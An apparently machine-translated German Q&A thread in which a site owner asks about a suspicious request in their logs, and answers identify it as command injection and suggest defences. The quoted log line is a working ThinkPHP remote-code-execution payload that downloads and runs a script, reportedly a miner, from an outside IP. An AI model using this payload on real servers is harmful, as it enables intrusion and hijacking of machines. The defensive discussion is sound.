it-swarm.com.de

Wie kann verhindert werden, dass Benutzer Befehle über die Browser-URL ausführen?

Ich habe sehr wenig Erfahrung mit Sicherheit (lerne noch), habe jedoch meine Protokolle durchgesehen und die folgende Anfrage festgestellt:

"GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

Zunächst einmal machte dies für mich keinen Sinn, mit Ausnahme von chmod 777 was mir sagt, dass jemand versucht hat, meine Dateiberechtigungen zu ändern.

Meine Frage ist, um welche Art von Angriff es sich handelt und welche Schritte kann ich unternehmen, um dies zu verhindern?

36
user3718908

Es ist ein Befehlsinjektionsangriff in dem:

ziel ist die Ausführung beliebiger Befehle auf dem Host-Betriebssystem über eine anfällige Anwendung. Befehlsinjektionsangriffe sind möglich, wenn eine Anwendung unsichere vom Benutzer bereitgestellte Daten (Formulare, Cookies, HTTP-Header usw.) an eine System-Shell weiterleitet. Bei diesem Angriff werden die vom Angreifer bereitgestellten Betriebssystembefehle normalerweise mit den Berechtigungen der anfälligen Anwendung ausgeführt. Befehlsinjektionsangriffe sind größtenteils aufgrund unzureichender Eingabevalidierung möglich.

Es gibt viele Strategien, um diese Art von Angriffen zu mildern oder zu vermeiden:

  • Führen Sie das Betriebssystem nicht aus, wenn dies vermieden werden kann.
  • Überprüfen Sie nicht vertrauenswürdige Eingaben. (Zeichensatz, minimale und maximale Länge, Übereinstimmung mit einem Muster für reguläre Ausdrücke ...)
  • Neutralisieren Sie Metazeichen, die in der Befehlszeile des Zielbetriebssystems eine Bedeutung haben.
  • Implementieren Sie "Least Privilege"

Sie können einige hier finden und sich diese Cheatsheet von OWASP für weitere Details ansehen.

51
Soufiane Tahiri

Wie bereits erwähnt, handelt es sich um einen Befehlsinjektionsangriff, bei dem versucht wird, ein .sh-Skript herunterzuladen, ihm die Berechtigung zum Ausführen zu erteilen und es dann auszuführen. Das Skript ist in diesem Fall ein Bitcoin Miner.

Die Empfehlungen im OWASP-Handbuch, wonach Soufiane befolgt werden sollte, um die Sicherheit Ihrer Webanwendung zu gewährleisten, können jedoch für eine zusätzliche Sicherheitsebene eine Webanwendungs-Firewall verwendet werden, die Anforderungen wie diese blockiert, bevor sie Ihren Serverprozess erreichen.

17
Veyf